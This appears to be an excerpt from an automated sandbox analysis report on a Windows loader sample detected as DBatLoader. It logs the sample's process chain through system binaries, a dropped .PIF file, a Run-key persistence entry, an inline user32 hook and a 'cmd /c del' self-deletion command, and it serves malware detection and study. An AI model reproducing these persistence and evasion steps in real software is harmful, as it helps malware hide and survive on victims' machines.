Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672C60 NtCreateKey,	3_2_1E672C60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672C00 NtQueryInformationProcess,	3_2_1E672C00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672CF0 NtOpenProcess,	3_2_1E672CF0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672CC0 NtQueryVirtualMemory,	3_2_1E672CC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672D00 NtSetInformationFile,	3_2_1E672D00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672DB0 NtEnumerateKey,	3_2_1E672DB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672AF0 NtWriteFile,	3_2_1E672AF0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672AB0 NtWaitForSingleObject,	3_2_1E672AB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672BE0 NtQueryValueKey,	3_2_1E672BE0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672BA0 NtEnumerateValueKey,	3_2_1E672BA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E672B80 NtQueryInformationFile,	3_2_1E672B80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E674650 NtSuspendThread,	3_2_1E674650
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E674340 NtSetContextThread,	3_2_1E674340

Source: Fpopgapwdcgvxn.exe	Binary or memory string: OriginalFilename vs Fpopgapwdcgvxn.exe
Source: Fpopgapwdcgvxn.exe, 00000000.00000002.2320819738.0000000002AE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs Fpopgapwdcgvxn.exe
Source: Fpopgapwdcgvxn.exe, 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs Fpopgapwdcgvxn.exe
Source: Fpopgapwdcgvxn.exe, 00000000.00000002.2347225090.000000007EED0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs Fpopgapwdcgvxn.exe
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2292292192.000000007EC00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs Fpopgapwdcgvxn.exe
Source: Fpopgapwdcgvxn.exe, 00000000.00000002.2322773738.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs Fpopgapwdcgvxn.exe

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

File created: C:\Users\Public\Libraries\Telragab.PIF

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@294/7@13/7

Source: C:\Windows\explorer.exe

File read: C:\Users\Public\Libraries\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_032D3470 GetLastError,FormatMessageA,

0_2_032D3470

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Telragab.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_032CA27C FindResourceA,LoadResource,SizeofResource,LockResource,

0_2_032CA27C

Source: Fpopgapwdcgvxn.exe	ReversingLabs: Detection: 70%
Source: Fpopgapwdcgvxn.exe	Virustotal: Detection: 69%

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

File read: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Jump to behavior

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe C:\Users\user\Desktop\Fpopgapwdcgvxn.exe
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\colorcpl.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\Public\Libraries\Telragab.PIF "C:\Users\Public\Libraries\Telragab.PIF"
Source: C:\Windows\explorer.exe	Process created: C:\Users\Public\Libraries\Telragab.PIF "C:\Users\Public\Libraries\Telragab.PIF"
Source: C:\Users\Public\Libraries\Telragab.PIF	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\chkdsk.exe C:\Windows\SysWOW64\chkdsk.exe
Source: C:\Users\Public\Libraries\Telragab.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe
Source: C:\Users\Public\Libraries\Telragab.PIF	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 368 -s 2180
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\Public\Libraries\Telragab.PIF "C:\Users\Public\Libraries\Telragab.PIF"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\Public\Libraries\Telragab.PIF "C:\Users\Public\Libraries\Telragab.PIF"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\chkdsk.exe C:\Windows\SysWOW64\chkdsk.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\colorcpl.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\f6a4b5c1-c228-4a11-af40-362874d34b75

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_032CEF94 CoCreateInstance,

0_2_032CEF94

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_032B8F58 GetDiskFreeSpaceA,

0_2_032B8F58

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_03308AB4 CreateToolhelp32Snapshot,

0_2_03308AB4

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Source: C:\Windows\SysWOW64\SndVol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Windows Volume App Window
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4784:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess368

Source: C:\Windows\SysWOW64\colorcpl.exe

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\colorcpl.exe	Window detected: Number of UI elements: 12
Source: C:\Windows\SysWOW64\colorcpl.exe	Window detected: Number of UI elements: 12

Source: Fpopgapwdcgvxn.exe

Static file information: File size 2403840 > 1048576

Source: Fpopgapwdcgvxn.exe

Static PE information: Raw size of DATA is bigger than: 0x100000 < 0x1c8a00

Source:	Binary string: chkdsk.pdbGCTL source: colorcpl.exe, 0000000C.00000003.2612449594.0000000002661000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2613913537.0000000004590000.00000040.10000000.00040000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2617872903.0000000000590000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: colorcpl.pdbGCTL source: explorer.exe, 00000005.00000002.4633580692.000000001097F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.0000000004DBF000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4612887516.0000000000A42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: colorcpl.pdb source: explorer.exe, 00000005.00000002.4633580692.000000001097F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.0000000004DBF000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4612887516.0000000000A42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: Fpopgapwdcgvxn.exe, 00000000.00000002.2320819738.0000000002AE0000.00000004.00001000.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000002.2347225090.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000003.2292292192.000000007EC00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: chkdsk.pdb source: colorcpl.exe, 0000000C.00000003.2612449594.0000000002661000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2613913537.0000000004590000.00000040.10000000.00040000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2617872903.0000000000590000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: colorcpl.exe, 00000003.00000003.2320149761.000000000530E000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000002.2404040114.000000001E79E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000003.2318073446.0000000005151000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2389849761.00000000046CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2387898399.0000000004512000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4616342750.0000000004A0E000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4616342750.0000000004870000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000003.2580553834.000000000474F000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2626388526.000000001E340000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000003.2578529137.0000000004596000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2626388526.000000001E4DE000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000003.2615483603.00000000055AC000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2618280438.00000000058FE000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2618280438.0000000005760000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000003.2613575726.00000000053F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: colorcpl.exe, colorcpl.exe, 00000003.00000003.2320149761.000000000530E000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000002.2404040114.000000001E79E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000003.2318073446.0000000005151000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2389849761.00000000046CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2387898399.0000000004512000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4616342750.0000000004A0E000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4616342750.0000000004870000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000003.2580553834.000000000474F000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2626388526.000000001E340000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000003.2578529137.0000000004596000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2626388526.000000001E4DE000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000003.2615483603.00000000055AC000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2618280438.00000000058FE000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2618280438.0000000005760000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000003.2613575726.00000000053F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: colorcpl.exe, 00000003.00000002.2388060963.00000000053F0000.00000040.10000000.00040000.00000000.sdmp, colorcpl.exe, 00000003.00000003.2386689890.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4615286421.0000000000C00000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: colorcpl.exe, 00000003.00000002.2388060963.00000000053F0000.00000040.10000000.00040000.00000000.sdmp, colorcpl.exe, 00000003.00000003.2386689890.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4615286421.0000000000C00000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: easinvoker.pdbH source: Fpopgapwdcgvxn.exe, 00000000.00000002.2320819738.0000000002AE0000.00000004.00001000.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000002.2347225090.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000003.2292292192.000000007EC00000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: Fpopgapwdcgvxn.exe, type: SAMPLE
Source: Yara match	File source: 0.2.Fpopgapwdcgvxn.exe.31a77bc.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Telragab.PIF.313bc90.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Fpopgapwdcgvxn.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Fpopgapwdcgvxn.exe.32b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\Public\Libraries\Telragab.PIF, type: DROPPED

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A8272 push esp; iretd	0_3_026A8284
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A7473 push ecx; ret	0_3_026A7476
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A7627 push ebp; iretd	0_3_026A7628
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A7230 push ebp; iretd	0_3_026A728C
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A821E push esp; iretd	0_3_026A822F
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A74C9 push ebp; iretd	0_3_026A74CA
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A3CCC push ss; ret	0_3_026A3CD6
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A7494 push ecx; ret	0_3_026A749D
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A6B4A push ebp; iretd	0_3_026A6B6A
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A2B42 pushad ; retf	0_3_026A2B66
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A7D0E push esp; iretd	0_3_026A7D0F
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A81FE push esp; iretd	0_3_026A820B
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A81F2 push esp; iretd	0_3_026A81F7
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A39D3 pushad ; iretd	0_3_026A39D4
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A81AF push esp; iretd	0_3_026A81F0
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A81AF push esp; iretd	0_3_026A81FC
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031AC60C push edi; ret	0_3_031AC610
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031A9300 push ecx; ret	0_3_031A9303
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031ABF06 push edi; iretd	0_3_031ABF6A
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031AA03C push esp; iretd	0_3_031AA07D
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031AA03C push esp; iretd	0_3_031AA089
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031AC520 push edi; ret	0_3_031AC571
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031A9321 push ecx; ret	0_3_031A932A
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031A9356 push ebp; iretd	0_3_031A9357
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031AB457 pushfd ; retf	0_3_031AB458
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031AC57A push edi; ret	0_3_031AC581
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031AA07F push esp; iretd	0_3_031AA084
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031AC572 push edi; ret	0_3_031AC571
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031AC572 push edi; ret	0_3_031AC579
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031A9B9B push esp; iretd	0_3_031A9B9C
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_031AB39F pushfd ; retf	0_3_031AB3A5

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_032F7040 SetErrorMode,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,SetErrorMode,

0_2_032F7040

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

File created: C:\Users\Public\Libraries\Telragab.PIF

Jump to dropped file

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

File created: C:\Users\Public\Libraries\Telragab.PIF

Jump to dropped file

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Telragab			Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Telragab			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8D 0xDE 0xEE

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032F2264 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	0_2_032F2264
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032DAEB8 IsIconic,GetWindowPlacement,GetWindowRect,	0_2_032DAEB8
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_033031B4 PostMessageA,PostMessageA,SendMessageA,GetProcAddress,GetLastError,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	0_2_033031B4
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032F1030 IsIconic,GetCapture,	0_2_032F1030
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032F1938 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	0_2_032F1938
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_033039A8 IsIconic,SetActiveWindow,IsWindowEnabled,DefWindowProcA,SetWindowPos,SetFocus,	0_2_033039A8
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_033038E4 IsIconic,SetActiveWindow,IsWindowEnabled,SetWindowPos,DefWindowProcA,	0_2_033038E4
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032FFCF0 SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,ShowWindow,	0_2_032FFCF0

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_03308838 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_03308838

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
